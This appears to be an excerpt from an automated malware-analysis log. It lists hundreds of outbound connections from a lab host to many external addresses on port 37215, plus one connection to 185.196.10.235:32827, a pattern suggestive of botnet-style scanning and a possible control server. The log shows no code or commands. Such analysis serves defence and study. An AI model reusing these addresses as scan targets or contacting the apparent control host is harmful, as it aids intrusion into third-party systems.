Source: unknown	Network traffic detected: HTTP traffic on port 45954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50922 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.137.197.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.150.60.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.129.215.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.62.234.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.172.82.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.22.8.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.5.157.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.182.203.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.204.214.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.4.255.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.161.47.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.213.83.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.236.198.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.232.113.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.17.167.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.43.122.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.231.211.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.117.239.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.211.194.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.224.51.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.78.160.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.186.58.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.10.102.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.73.176.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.7.172.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.35.202.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.117.220.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.44.240.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.7.143.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.122.68.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.205.14.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.165.196.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.76.35.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.24.206.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.114.20.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.218.179.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.136.135.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.53.139.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.193.248.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.86.207.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.36.9.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.24.178.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.239.226.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.250.70.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.20.204.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.85.169.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.0.127.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.185.117.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.243.133.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.253.163.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.37.55.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.108.73.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.83.106.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.102.48.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.138.112.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.122.208.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.96.165.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.10.32.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.226.156.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.142.59.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.126.121.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.205.173.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.82.22.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.177.199.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.139.101.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.187.150.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.213.184.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.82.102.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.192.9.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.60.200.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.159.53.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.147.64.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.10.172.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.103.101.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.17.224.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.172.137.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.216.108.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.214.110.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.87.102.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.79.189.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.194.100.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.178.255.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.190.5.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.125.117.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.149.63.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.252.250.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.82.43.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.189.101.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.4.254.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.0.5.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.7.11.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.207.216.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.135.197.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.217.57.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.11.4.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.210.89.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.26.39.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.186.222.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.30.78.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.42.73.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.173.74.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.177.156.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.86.239.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.177.1.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.39.222.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.190.179.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.114.110.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.89.167.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.135.251.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.58.228.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.165.106.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.73.214.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.134.91.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.75.87.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.23.164.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.137.155.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.251.248.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.231.175.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.2.163.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.97.88.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.56.63.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.150.87.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.8.24.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.202.78.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.219.223.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.185.23.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.26.175.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.220.208.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.4.71.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.175.237.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.185.219.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.98.119.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.186.28.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.219.163.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.33.99.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.189.109.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.170.117.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.141.128.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.146.247.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.111.186.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.125.193.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.47.26.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.164.250.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.21.108.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.131.165.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.23.9.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.115.211.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.187.174.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.251.163.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.180.9.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.190.221.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.134.127.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.5.29.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.36.136.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.196.53.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.58.52.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.34.181.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.176.176.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.138.35.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.88.209.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:52364 -> 185.196.10.235:32827
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.190.213.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.20.94.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.99.236.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.167.193.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.63.0.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.133.25.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.33.56.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.205.105.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.220.24.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.22.35.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.60.198.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.89.170.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.158.45.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.208.164.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.216.132.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.8.254.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.74.74.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.97.204.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.253.41.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.8.14.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.80.11.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.62.201.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.218.197.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.125.16.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.237.193.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.248.255.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.3.164.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.134.38.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.169.231.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.58.41.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.10.224.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.65.216.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.94.244.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.65.122.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.54.96.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.250.245.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.65.105.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.140.248.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.0.79.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.232.159.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.47.49.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.190.235.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.48.54.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.181.132.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.167.54.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.186.153.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.91.80.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.146.52.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.225.132.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.146.237.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.50.247.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.18.224.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.135.48.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.18.186.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.169.105.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.251.83.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.10.226.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.214.4.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.18.80.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.83.219.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.149.60.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.153.191.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.125.126.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.203.140.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.95.143.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.144.9.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.8.93.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.81.196.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.178.72.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.166.190.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.200.99.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.254.33.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.161.134.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.140.192.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.249.91.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.98.151.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.238.235.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.78.4.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.6.206.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.64.73.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.94.175.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.188.100.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.175.140.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.145.66.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.124.7.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.153.121.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.253.99.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.123.81.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.172.87.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.159.253.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.111.123.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.108.231.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.160.195.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.83.76.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.204.114.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.224.248.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.85.155.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.116.240.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.62.68.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.71.133.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.44.239.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.101.139.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.183.237.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.128.187.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.133.204.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.235.91.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.210.121.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.106.39.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.67.102.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.203.120.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.20.44.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.50.175.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.82.218.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.18.205.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.68.79.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.217.162.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.183.50.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.120.24.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.153.110.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.56.30.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.116.32.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.138.216.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.246.101.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.170.214.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.155.160.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.222.55.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.226.246.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.193.161.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.101.237.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.52.185.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.133.19.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.212.124.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.70.247.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.123.77.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.151.99.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.149.193.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.145.29.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.151.73.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.54.129.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.57.110.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.139.35.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.242.85.23:37215
